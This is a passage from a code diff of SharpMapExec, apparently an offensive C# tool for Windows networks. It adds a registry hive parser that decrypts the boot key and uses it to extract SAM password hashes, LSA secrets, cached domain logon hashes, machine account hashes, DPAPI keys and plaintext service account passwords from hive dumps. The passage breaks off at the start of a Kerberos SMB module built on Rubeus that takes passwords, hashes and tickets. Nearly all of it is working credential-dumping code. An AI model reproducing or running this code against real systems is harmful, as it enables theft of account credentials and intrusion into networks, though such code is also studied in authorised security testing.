     172 + temp1.Add(temp1[2]);
     173 + 
     174 + List<byte> temp2 = new List<byte>();
     175 + temp2.Add(temp1[3]);
     176 + temp2.Add(temp1[0]);
     177 + temp2.Add(temp1[1]);
     178 + temp2.Add(temp1[2]);
     179 + 
     180 + temp2.Add(temp2[0]);
     181 + temp2.Add(temp2[1]);
     182 + temp2.Add(temp2[2]);
     183 + 
     184 + key1 = TransformKey(temp1);
     185 + key2 = TransformKey(temp2);
     186 + }
     187 + 
     188 + private static List<byte> TransformKey(List<byte> inputData)
     189 + {
     190 + List<byte> data = new List<byte>();
     191 + data.Add(Convert.ToByte(((inputData[0] >> 1) & 0x7f) << 1));
     192 + data.Add(Convert.ToByte(((inputData[0] & 0x01) << 6 | ((inputData[1] >> 2) & 0x3f)) << 1));
     193 + data.Add(Convert.ToByte(((inputData[1] & 0x03) << 5 | ((inputData[2] >> 3) & 0x1f)) << 1));
     194 + data.Add(Convert.ToByte(((inputData[2] & 0x07) << 4 | ((inputData[3] >> 4) & 0x0f)) << 1));
     195 + data.Add(Convert.ToByte(((inputData[3] & 0x0f) << 3 | ((inputData[4] >> 5) & 0x07)) << 1));
     196 + data.Add(Convert.ToByte(((inputData[4] & 0x1f) << 2 | ((inputData[5] >> 6) & 0x03)) << 1));
     197 + data.Add(Convert.ToByte(((inputData[5] & 0x3f) << 1 | ((inputData[6] >> 7) & 0x01)) << 1));
     198 + data.Add(Convert.ToByte((inputData[6] & 0x7f) << 1));
     199 + return data;
     200 + }
     201 + 
     202 + //from https://github.com/woanware/ForensicUserInfo/blob/master/Source/SamParser.cs
     203 + private static byte[] DeObfuscateHashPart(byte[] obfuscatedHash, List<byte> key)
     204 + {
     205 + DESCryptoServiceProvider cryptoProvider = new DESCryptoServiceProvider();
     206 + cryptoProvider.Padding = PaddingMode.None;
     207 + cryptoProvider.Mode = CipherMode.ECB;
     208 + ICryptoTransform transform = cryptoProvider.CreateDecryptor(key.ToArray(), new byte[] { 0, 0, 0, 0, 0, 0, 0, 0 });
     209 + MemoryStream memoryStream = new MemoryStream(obfuscatedHash);
     210 + CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
     211 + byte[] plainTextBytes = new byte[obfuscatedHash.Length];
     212 + int decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
     213 + return plainTextBytes;
     214 + }
     215 + 
     216 + public static string DecryptSingleHash(byte[] obfuscatedHash, string user)
     217 + {
     218 + List<byte> key1 = new List<byte>();
     219 + List<byte> key2 = new List<byte>();
     220 + 
     221 + RidToKey(user, ref key1, ref key2);
     222 + 
     223 + byte[] hashBytes1 = new byte[8];
     224 + byte[] hashBytes2 = new byte[8];
     225 + Buffer.BlockCopy(obfuscatedHash, 0, hashBytes1, 0, 8);
     226 + Buffer.BlockCopy(obfuscatedHash, 8, hashBytes2, 0, 8);
     227 + 
     228 + byte[] plain1 = DeObfuscateHashPart(hashBytes1, key1);
     229 + byte[] plain2 = DeObfuscateHashPart(hashBytes2, key2);
     230 + 
     231 + return (BitConverter.ToString(plain1) + BitConverter.ToString(plain2));
     232 + }
     233 + }
     234 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/LsaSecret.cs
     1 +using System;
     2 +using System.Linq;
     3 + 
     4 +namespace SharpMapExec.HiveParser
     5 +{
     6 + internal class LsaSecret
     7 + {
     8 + public LsaSecret(byte[] inputData)
     9 + {
     10 + version = inputData.Take(4).ToArray();
     11 + enc_key_id = inputData.Skip(4).Take(16).ToArray();
     12 + enc_algo = inputData.Skip(20).Take(4).ToArray();
     13 + flags = inputData.Skip(24).Take(4).ToArray();
     14 + data = inputData.Skip(28).ToArray();
     15 + }
     16 + 
     17 + public byte[] version { get; set; }
     18 + public byte[] enc_key_id { get; set; }
     19 + public byte[] enc_algo { get; set; }
     20 + public byte[] flags { get; set; }
     21 + public byte[] data { get; set; }
     22 + }
     23 + 
     24 + internal class LsaSecretBlob
     25 + {
     26 + public LsaSecretBlob(byte[] inputData)
     27 + {
     28 + length = BitConverter.ToInt16(inputData.Take(4).ToArray(), 0);
     29 + unk = inputData.Skip(4).Take(12).ToArray();
     30 + secret = inputData.Skip(16).Take(length).ToArray();
     31 + }
     32 + 
     33 + public int length { get; set; }
     34 + public byte[] unk { get; set; }
     35 + public byte[] secret { get; set; }
     36 + }
     37 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/NL_Record.cs
     1 +using System;
     2 +using System.Linq;
     3 + 
     4 +namespace SharpMapExec.HiveParser
     5 +{
     6 + internal class NL_Record
     7 + {
     8 + public NL_Record(byte[] inputData)
     9 + {
     10 + userLength = BitConverter.ToInt16(inputData.Take(2).ToArray(), 0);
     11 + domainNameLength = BitConverter.ToInt16(inputData.Skip(2).Take(2).ToArray(), 0);
     12 + dnsDomainLength = BitConverter.ToInt16(inputData.Skip(60).Take(2).ToArray(), 0);
     13 + IV = inputData.Skip(64).Take(16).ToArray();
     14 + encryptedData = inputData.Skip(96).Take(inputData.Length - 96).ToArray();
     15 + }
     16 + 
     17 + public int userLength { get; set; }
     18 + public int domainNameLength { get; set; }
     19 + public int dnsDomainLength { get; set; }
     20 + public byte[] IV { get; set; }
     21 + public byte[] encryptedData { get; set; }
     22 + }
     23 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/NodeKey.cs
     1 +//class from https://github.com/brandonprry/gray_hat_csharp_code/tree/master/ch14_reading_offline_hives
     2 +//author @BrandonPrry
     3 +using System;
     4 +using System.Collections.Generic;
     5 +using System.IO;
     6 + 
     7 +namespace SharpMapExec.HiveParser
     8 +{
     9 + public class NodeKey
     10 + {
     11 + public NodeKey(BinaryReader hive)
     12 + {
     13 + ReadNodeStructure(hive);
     14 + ReadChildrenNodes(hive);
     15 + ReadChildValues(hive);
     16 + }
     17 + 
     18 + public List<NodeKey> ChildNodes { get; set; }
     19 + public List<ValueKey> ChildValues { get; set; }
     20 + public DateTime Timestamp { get; set; }
     21 + public int ParentOffset { get; set; }
     22 + public int SubkeysCount { get; set; }
     23 + public int LFRecordOffset { get; set; }
     24 + public int ClassnameOffset { get; set; }
     25 + public int SecurityKeyOffset { get; set; }
     26 + public int ValuesCount { get; set; }
     27 + public int ValueListOffset { get; set; }
     28 + public short NameLength { get; set; }
     29 + public bool IsRootKey { get; set; }
     30 + public short ClassnameLength { get; set; }
     31 + public string Name { get; set; }
     32 + public byte[] ClassnameData { get; set; }
     33 + public NodeKey ParentNodeKey { get; set; }
     34 + 
     35 + private void ReadNodeStructure(BinaryReader hive)
     36 + {
     37 + byte[] buf = hive.ReadBytes(4);
     38 + 
     39 + if (buf[0] != 0x6e || buf[1] != 0x6b)
     40 + throw new NotSupportedException("Bad nk header");
     41 + 
     42 + long startingOffset = hive.BaseStream.Position;
     43 + this.IsRootKey = (buf[2] == 0x2c) ? true : false;
     44 + 
     45 + this.Timestamp = DateTime.FromFileTime(hive.ReadInt64());
     46 + 
     47 + hive.BaseStream.Position += 4;
     48 + 
     49 + this.ParentOffset = hive.ReadInt32();
     50 + this.SubkeysCount = hive.ReadInt32();
     51 + 
     52 + hive.BaseStream.Position += 4;
     53 + 
     54 + this.LFRecordOffset = hive.ReadInt32();
     55 + 
     56 + hive.BaseStream.Position += 4;
     57 + 
     58 + this.ValuesCount = hive.ReadInt32();
     59 + this.ValueListOffset = hive.ReadInt32();
     60 + this.SecurityKeyOffset = hive.ReadInt32();
     61 + this.ClassnameOffset = hive.ReadInt32();
     62 + 
     63 + hive.BaseStream.Position += (startingOffset + 68) - hive.BaseStream.Position;
     64 + 
     65 + this.NameLength = hive.ReadInt16();
     66 + this.ClassnameLength = hive.ReadInt16();
     67 + 
     68 + buf = hive.ReadBytes(this.NameLength);
     69 + this.Name = System.Text.Encoding.UTF8.GetString(buf);
     70 + 
     71 + hive.BaseStream.Position = this.ClassnameOffset + 4 + 4096;
     72 + this.ClassnameData = hive.ReadBytes(this.ClassnameLength);
     73 + }
     74 + 
     75 + private void ReadChildrenNodes(BinaryReader hive)
     76 + {
     77 + this.ChildNodes = new List<NodeKey>();
     78 + if (this.LFRecordOffset != -1)
     79 + {
     80 + hive.BaseStream.Position = 4096 + this.LFRecordOffset + 4;
     81 + 
     82 + byte[] buf = hive.ReadBytes(2);
     83 + 
     84 + //ri
     85 + if (buf[0] == 0x72 && buf[1] == 0x69)
     86 + {
     87 + int count = hive.ReadInt16();
     88 + 
     89 + for (int i = 0; i < count; i++)
     90 + {
     91 + long pos = hive.BaseStream.Position;
     92 + int offset = hive.ReadInt32();
     93 + hive.BaseStream.Position = 4096 + offset + 4;
     94 + buf = hive.ReadBytes(2);
     95 + 
     96 + if (!(buf[0] == 0x6c && (buf[1] == 0x66 || buf[1] == 0x68)))
     97 + throw new Exception("Bad LF/LH record at: " + hive.BaseStream.Position);
     98 + 
     99 + ParseChildNodes(hive);
     100 + 
     101 + hive.BaseStream.Position = pos + 4; //go to next record list
     102 + }
     103 + }
     104 + //lf or lh
     105 + else if (buf[0] == 0x6c && (buf[1] == 0x66 || buf[1] == 0x68))
     106 + ParseChildNodes(hive);
     107 + else
     108 + throw new Exception("Bad LF/LH/RI Record at: " + hive.BaseStream.Position);
     109 + }
     110 + }
     111 + 
     112 + private void ParseChildNodes(BinaryReader hive)
     113 + {
     114 + int count = hive.ReadInt16();
     115 + long topOfList = hive.BaseStream.Position;
     116 + 
     117 + for (int i = 0; i < count; i++)
     118 + {
     119 + hive.BaseStream.Position = topOfList + (i * 8);
     120 + int newoffset = hive.ReadInt32();
     121 + hive.BaseStream.Position += 4;
     122 + //byte[] check = hive.ReadBytes(4);
     123 + hive.BaseStream.Position = 4096 + newoffset + 4;
     124 + NodeKey nk = new NodeKey(hive) { ParentNodeKey = this };
     125 + this.ChildNodes.Add(nk);
     126 + }
     127 + 
     128 + hive.BaseStream.Position = topOfList + (count * 8);
     129 + }
     130 + 
     131 + private void ReadChildValues(BinaryReader hive)
     132 + {
     133 + this.ChildValues = new List<ValueKey>();
     134 + if (this.ValueListOffset != -1)
     135 + {
     136 + hive.BaseStream.Position = 4096 + this.ValueListOffset + 4;
     137 + 
     138 + for (int i = 0; i < this.ValuesCount; i++)
     139 + {
     140 + hive.BaseStream.Position = 4096 + this.ValueListOffset + 4 + (i * 4);
     141 + int offset = hive.ReadInt32();
     142 + hive.BaseStream.Position = 4096 + offset + 4;
     143 + this.ChildValues.Add(new ValueKey(hive));
     144 + }
     145 + }
     146 + }
     147 + 
     148 + public byte[] getChildValues(string valueName)
     149 + {
     150 + ValueKey targetData = this.ChildValues.Find(x => x.Name.Contains(valueName));
     151 + return targetData.Data;
     152 + }
     153 + }
     154 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/Registry.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.Linq;
     4 +using System.Security.Cryptography;
     5 +using System.Text;
     6 + 
     7 +namespace SharpMapExec.HiveParser
     8 +{
     9 + public class Registry
     10 + {
     11 + private static byte[] StringToByteArray(string hex)
     12 + {
     13 + return Enumerable.Range(0, hex.Length)
     14 + .Where(x => x % 2 == 0)
     15 + .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
     16 + .ToArray();
     17 + }
     18 + 
     19 + public static byte[] GetBootKey(RegistryHive systemHive)
     20 + {
     21 + ValueKey controlSet = GetValueKey(systemHive, "Select\\Default");
     22 + int cs = BitConverter.ToInt32(controlSet.Data, 0);
     23 + 
     24 + StringBuilder scrambledKey = new StringBuilder();
     25 + foreach (string key in new string[] { "JD", "Skew1", "GBG", "Data" })
     26 + {
     27 + NodeKey nk = GetNodeKey(systemHive, "ControlSet00" + cs + "\\Control\\Lsa\\" + key);
     28 + 
     29 + for (int i = 0; i < nk.ClassnameLength && i < 8; i++)
     30 + scrambledKey.Append((char)nk.ClassnameData[i * 2]);
     31 + }
     32 + 
     33 + byte[] skey = StringToByteArray(scrambledKey.ToString());
     34 + byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
     35 + 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
     36 + 
     37 + byte[] bootkey = new byte[16];
     38 + for (int i = 0; i < bootkey.Length; i++)
     39 + bootkey[i] = skey[descramble[i]];
     40 + 
     41 + return bootkey;
     42 + }
     43 + 
     44 + private static byte[] GetHashedBootKey(byte[] bootKey, byte[] fVal)
     45 + {
     46 + byte[] domainData = fVal.Skip(104).ToArray();
     47 + byte[] hashedBootKey;
     48 + 
     49 + //old style hashed bootkey storage
     50 + if (domainData[0].Equals(0x01))
     51 + {
     52 + byte[] f70 = fVal.Skip(112).Take(16).ToArray();
     53 + List<byte> data = new List<byte>();
     54 + data.AddRange(f70);
     55 + data.AddRange(Encoding.ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"));
     56 + data.AddRange(bootKey);
     57 + data.AddRange(Encoding.ASCII.GetBytes("0123456789012345678901234567890123456789\0"));
     58 + byte[] md5 = MD5.Create().ComputeHash(data.ToArray());
     59 + byte[] f80 = fVal.Skip(128).Take(32).ToArray();
     60 + hashedBootKey = Crypto.RC4Encrypt(md5, f80);
     61 + }
     62 + 
     63 + //new version of storage -- Win 2016 / Win 10 (potentially Win 2012) and above
     64 + else if (domainData[0].Equals(0x02))
     65 + {
     66 + byte[] sk_Salt_AES = domainData.Skip(16).Take(16).ToArray();
     67 + int sk_Data_Length = BitConverter.ToInt32(domainData, 12);
     68 + // int offset = BitConverter.ToInt32(v,12) + 204;
     69 + byte[] sk_Data_AES = domainData.Skip(32).Take(sk_Data_Length).ToArray();
     70 + hashedBootKey = Crypto.DecryptAES_CBC(sk_Data_AES, bootKey, sk_Salt_AES);
     71 + }
     72 + else
     73 + {
     74 + Console.WriteLine("[-] Error parsing hashed bootkey");
     75 + return null;
     76 + }
     77 + return hashedBootKey;
     78 + }
     79 + 
     80 + public static List<string> ParseSam(byte[] bootKey, RegistryHive sam)
     81 + {
     82 + List<string> retVal = new List<string>
     83 + {
     84 + " [*] SAM hashes"
     85 + };
     86 + try
     87 + {
     88 + NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account");
     89 + byte[] fVal = nk.getChildValues("F");
     90 + byte[] hashedBootKey = GetHashedBootKey(bootKey, fVal);
     91 + NodeKey targetNode = nk.ChildNodes.Find(x => x.Name.Contains("Users"));
     92 + byte[] antpassword = Encoding.ASCII.GetBytes("NTPASSWORD\0");
     93 + byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0");
     94 + foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000")))
     95 + {
     96 + byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber));
     97 + byte[] v = user.getChildValues("V");
     98 + int offset = BitConverter.ToInt32(v, 12) + 204;
     99 + int length = BitConverter.ToInt32(v, 16);
     100 + string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());
     101 + 
     102 + //there are 204 bytes of headers / flags prior to data in the encrypted key data structure
     103 + int lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
     104 + int lmHashLength = BitConverter.ToInt32(v, 160);
     105 + int ntHashOffset = BitConverter.ToInt32(v, 168) + 204;
     106 + int ntHashLength = BitConverter.ToInt32(v, 172);
     107 + string lmHash = "aad3b435b51404eeaad3b435b51404ee";
     108 + string ntHash = "31d6cfe0d16ae931b73c59d7e0c089c0";
     109 + 
     110 + //old style hashes
     111 + if (v[ntHashOffset + 2].Equals(0x01))
     112 + {
     113 + IEnumerable<byte> lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
     114 + byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
     115 + IEnumerable<byte> ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
     116 + byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
     117 + byte[] encryptedLmHash = null;
     118 + byte[] encryptedNtHash = null;
     119 + 
     120 + if (ntHashLength == 20)
     121 + {
     122 + encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
     123 + byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
     124 + ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", "");
     125 + }
     126 + if (lmHashLength == 20)
     127 + {
     128 + encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
     129 + byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
     130 + lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", "");
     131 + }
     132 + }
     133 + //new-style hashes
     134 + else
     135 + {
     136 + byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray();
     137 + byte[] lmData = enc_LM_Hash.Skip(24).ToArray();
     138 + //if a hash exists, otherwise we have to return the default string val
     139 + if (lmData.Length > 0)
     140 + {
     141 + byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray();
     142 + byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
     143 + lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
     144 + }
     145 + 
     146 + byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
     147 + byte[] ntData = enc_NT_Hash.Skip(24).ToArray();
     148 + //if a hash exists, otherwise we have to return the default string val
     149 + if (ntData.Length > 0)
     150 + {
     151 + byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray();
     152 + byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
     153 + ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
     154 + }
     155 + }
     156 + string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString();
     157 + string hashes = (lmHash + ":" + ntHash);
     158 + retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
     159 + }
     160 + }
     161 + catch (Exception e)
     162 + {
     163 + retVal.Add("[-] Error parsing SAM dump file: " + e.ToString());
     164 + }
     165 + return retVal;
     166 + }
     167 + 
     168 + public static List<string> ParseLsa(RegistryHive security, byte[] bootKey, RegistryHive system)
     169 + {
     170 + List<string> retVal = new List<string>();
     171 + try
     172 + {
     173 + byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data;
     174 + LsaSecret record = new LsaSecret(fVal);
     175 + byte[] dataVal = record.data.Take(32).ToArray();
     176 + byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal);
     177 + byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
     178 + byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();
     179 + 
     180 + //get NLKM Secret
     181 + byte[] nlkmKey = null;
     182 + NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM");
     183 + if (nlkm != null)
     184 + {
     185 + retVal.Add(" [*] Cached domain logon information(domain/username:hash)");
     186 + nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
     187 + foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues)
     188 + {
     189 + if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray()))
     190 + {
     191 + NL_Record cachedUser = new NL_Record(cachedLogin.Data);
     192 + byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
     193 + byte[] hashedPW = plaintext.Take(16).ToArray();
     194 + string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
     195 + string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
     196 + domain = domain.Replace("\0", "");
     197 + retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower()));
     198 + }
     199 + }
     200 + }
     201 + 
     202 + try
     203 + {
     204 + retVal.Add(" [*] LSA Secrets");
     205 + foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
     206 + {
     207 + if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
     208 + {
     209 + if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
     210 + {
     211 + LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
     212 + if (secretBlob.length > 0)
     213 + {
     214 + retVal.Add(PrintSecret(secret.Name, secretBlob, system));
     215 + }
     216 + }
     217 + else
     218 + {
     219 + LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
     220 + if (secretBlob.length > 0)
     221 + {
     222 + retVal.Add(PrintSecret(secret.Name, secretBlob, system));
     223 + }
     224 + }
     225 + }
     226 + }
     227 + }
     228 + catch
     229 + {
     230 + retVal.Add("[-] No secrets to parse");
     231 + }
     232 + }
     233 + catch (Exception e)
     234 + {
     235 + retVal.Add("[-] Error parsing SECURITY dump file: " + e.ToString());
     236 + }
     237 + return retVal;
     238 + }
     239 + 
     240 + private static int Pad(int data)
     241 + {
     242 + if ((data & 0x3) > 0)
     243 + {
     244 + return (data + (data & 0x3));
     245 + }
     246 + else
     247 + {
     248 + return data;
     249 + }
     250 + }
     251 + 
     252 + private static bool IsZeroes(byte[] inputArray)
     253 + {
     254 + foreach (byte b in inputArray)
     255 + {
     256 + if (b != 0x00)
     257 + {
     258 + return false;
     259 + }
     260 + }
     261 + return true;
     262 + }
     263 + 
     264 + private static string PrintSecret(string keyName, LsaSecretBlob secretBlob, RegistryHive system)
     265 + {
     266 + string secretOutput = string.Format(" [*] {0}\r\n", keyName);
     267 + 
     268 + if (keyName.ToUpper().StartsWith("_SC_"))
     269 + {
     270 + ValueKey startName = GetValueKey(system, string.Format(@"ControlSet001\Services\{0}\ObjectName", keyName.Substring(4)));
     271 + string pw = Encoding.Unicode.GetString(secretBlob.secret.ToArray());
     272 + secretOutput += string.Format("{0}:{1}", Encoding.UTF8.GetString(startName.Data), pw);
     273 + }
     274 + else if (keyName.ToUpper().StartsWith("$MACHINE.ACC"))
     275 + {
     276 + string computerAcctHash = BitConverter.ToString(Crypto.Md4Hash2(secretBlob.secret)).Replace("-", "").ToLower();
     277 + ValueKey domainName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Domain");
     278 + ValueKey computerName = GetValueKey(system, @"ControlSet001\Services\Tcpip\Parameters\Hostname");
     279 + secretOutput += string.Format("{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}", Encoding.UTF8.GetString(domainName.Data), Encoding.UTF8.GetString(computerName.Data), computerAcctHash);
     280 + }
     281 + else if (keyName.ToUpper().StartsWith("DPAPI"))
     282 + {
     283 + secretOutput += ("dpapi_machinekey:" + BitConverter.ToString(secretBlob.secret.Skip(4).Take(20).ToArray()).Replace("-", "").ToLower() + "\r\n");
     284 + secretOutput += ("dpapi_userkey:" + BitConverter.ToString(secretBlob.secret.Skip(24).Take(20).ToArray()).Replace("-", "").ToLower());
     285 + }
     286 + else if (keyName.ToUpper().StartsWith("NL$KM"))
     287 + {
     288 + secretOutput += ("NL$KM:" + BitConverter.ToString(secretBlob.secret).Replace("-", "").ToLower());
     289 + }
     290 + else if (keyName.ToUpper().StartsWith("ASPNET_WP_PASSWORD"))
     291 + {
     292 + secretOutput += ("ASPNET:" + System.Text.Encoding.Unicode.GetString(secretBlob.secret));
     293 + }
     294 + else
     295 + {
     296 + secretOutput += ("[!] Secret type not supported yet - outputing raw secret as unicode:\r\n");
     297 + secretOutput += (System.Text.Encoding.Unicode.GetString(secretBlob.secret));
     298 + }
     299 + return secretOutput;
     300 + }
     301 + 
     302 + private static byte[] DumpSecret(NodeKey secret, byte[] lsaKey)
     303 + {
     304 + NodeKey secretCurrVal = secret.ChildNodes.Find(x => x.Name.Contains("CurrVal"));
     305 + byte[] value = secretCurrVal.getChildValues("Default");
     306 + LsaSecret record = new LsaSecret(value);
     307 + byte[] tempKey = Crypto.ComputeSha256(lsaKey, record.data.Take(32).ToArray());
     308 + byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
     309 + byte[] plaintext = Crypto.DecryptAES_ECB(dataVal2, tempKey);
     310 + 
     311 + return (plaintext);
     312 + }
     313 + 
     314 + private static NodeKey GetNodeKey(RegistryHive hive, string path)
     315 + {
     316 + NodeKey node = null;
     317 + string[] paths = path.Split('\\');
     318 + 
     319 + foreach (string ch in paths)
     320 + {
     321 + bool found = false;
     322 + if (node == null)
     323 + node = hive.RootKey;
     324 + 
     325 + foreach (NodeKey child in node.ChildNodes)
     326 + {
     327 + if (child.Name == ch)
     328 + {
     329 + node = child;
     330 + found = true;
     331 + break;
     332 + }
     333 + }
     334 + if (found == false)
     335 + {
     336 + return null;
     337 + }
     338 + }
     339 + return node;
     340 + }
     341 + 
     342 + public static ValueKey GetValueKey(RegistryHive hive, string path)
     343 + {
     344 + string keyname = path.Split('\\').Last();
     345 + path = path.Substring(0, path.LastIndexOf('\\'));
     346 + 
     347 + NodeKey node = GetNodeKey(hive, path);
     348 + 
     349 + return node.ChildValues.SingleOrDefault(v => v.Name == keyname);
     350 + }
     351 + }
     352 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/RegistryHive.cs
     1 +//class from https://github.com/brandonprry/gray_hat_csharp_code/tree/master/ch14_reading_offline_hives
     2 +//author @BrandonPrry
     3 +using System;
     4 +using System.IO;
     5 + 
     6 +namespace SharpMapExec.HiveParser
     7 +{
     8 + public class RegistryHive
     9 + {
     10 + public static RegistryHive ImportHiveDump(string dumpfileName)
     11 + {
     12 + if (File.Exists(dumpfileName))
     13 + {
     14 + using (FileStream stream = File.OpenRead(dumpfileName))
     15 + {
     16 + using (BinaryReader reader = new BinaryReader(stream))
     17 + {
     18 + reader.BaseStream.Position += 4132 - reader.BaseStream.Position;
     19 + RegistryHive hive = new RegistryHive(reader);
     20 + return hive;
     21 + }
     22 + }
     23 + }
     24 + else
     25 + {
     26 + Console.WriteLine("[-] Unable to access hive dump ", dumpfileName);
     27 + return null;
     28 + }
     29 + }
     30 + 
     31 + public RegistryHive(BinaryReader reader)
     32 + {
     33 + reader.BaseStream.Position += 4132 - reader.BaseStream.Position;
     34 + this.RootKey = new NodeKey(reader);
     35 + }
     36 + 
     37 + public string Filepath { get; set; }
     38 + public NodeKey RootKey { get; set; }
     39 + public bool WasExported { get; set; }
     40 + }
     41 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/HiveParser/ValueKey.cs
     1 +//class taken from https://github.com/brandonprry/gray_hat_csharp_code/tree/master/ch14_reading_offline_hives
     2 +using System;
     3 +using System.IO;
     4 + 
     5 +namespace SharpMapExec.HiveParser
     6 +{
     7 + public class ValueKey
     8 + {
     9 + public ValueKey(BinaryReader hive)
     10 + {
     11 + byte[] buf = hive.ReadBytes(2);
     12 + 
     13 + if (buf[0] != 0x76 && buf[1] != 0x6b)
     14 + throw new NotSupportedException("Bad vk header");
     15 + 
     16 + this.NameLength = hive.ReadInt16();
     17 + this.DataLength = hive.ReadInt32();
     18 + 
     19 + byte[] databuf = hive.ReadBytes(4);
     20 + 
     21 + this.ValueType = hive.ReadInt32();
     22 + hive.BaseStream.Position += 4;
     23 + 
     24 + buf = hive.ReadBytes(this.NameLength);
     25 + this.Name = (this.NameLength == 0) ? "Default" : System.Text.Encoding.UTF8.GetString(buf);
     26 + 
     27 + if (this.DataLength < 5)
     28 + this.Data = databuf;
     29 + else
     30 + {
     31 + hive.BaseStream.Position = 4096 + BitConverter.ToInt32(databuf, 0) + 4;
     32 + this.Data = hive.ReadBytes(this.DataLength);
     33 + }
     34 + }
     35 + 
     36 + public short NameLength { get; set; }
     37 + public int DataLength { get; set; }
     38 + public int DataOffset { get; set; }
     39 + public int ValueType { get; set; }
     40 + public string Name { get; set; }
     41 + public byte[] Data { get; set; }
     42 + public string String { get; set; }
     43 + }
     44 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Lib/KerberosSmb.cs
     1 +using Rubeus;
     2 +using SharpMapExec.Helpers;
     3 +using System;
     4 +using System.Collections.Generic;
     5 +using System.IO;
     6 +using static Rubeus.Interop;
     7 + 
     8 +namespace SharpMapExec.Lib
     9 +{
     10 + public class kerberossmb
     11 + {
     12 + public static void KerberosSmb(string[] users, string domain, string[] passwords, string[] hashes, string ticket, KERB_ETYPE encType, string dc, string[] computernames, string module, string moduleargument, List<string> flags)
     13 + {
     14 + StartJob(users, domain, passwords, hashes, ticket, encType, dc, computernames, module, moduleargument, flags);
     15 + //var listOfTasks = new List<Task>();
     16 + //listOfTasks.Add(new Task(() => StartJob(user, domain, hash, encType, outfile, ptt, dc, luid, describe, computernames, module, moduleargument)));
     17 + //Tasks.StartAndWaitAllThrottled(listOfTasks, 1);
     18 + }
     19 + 
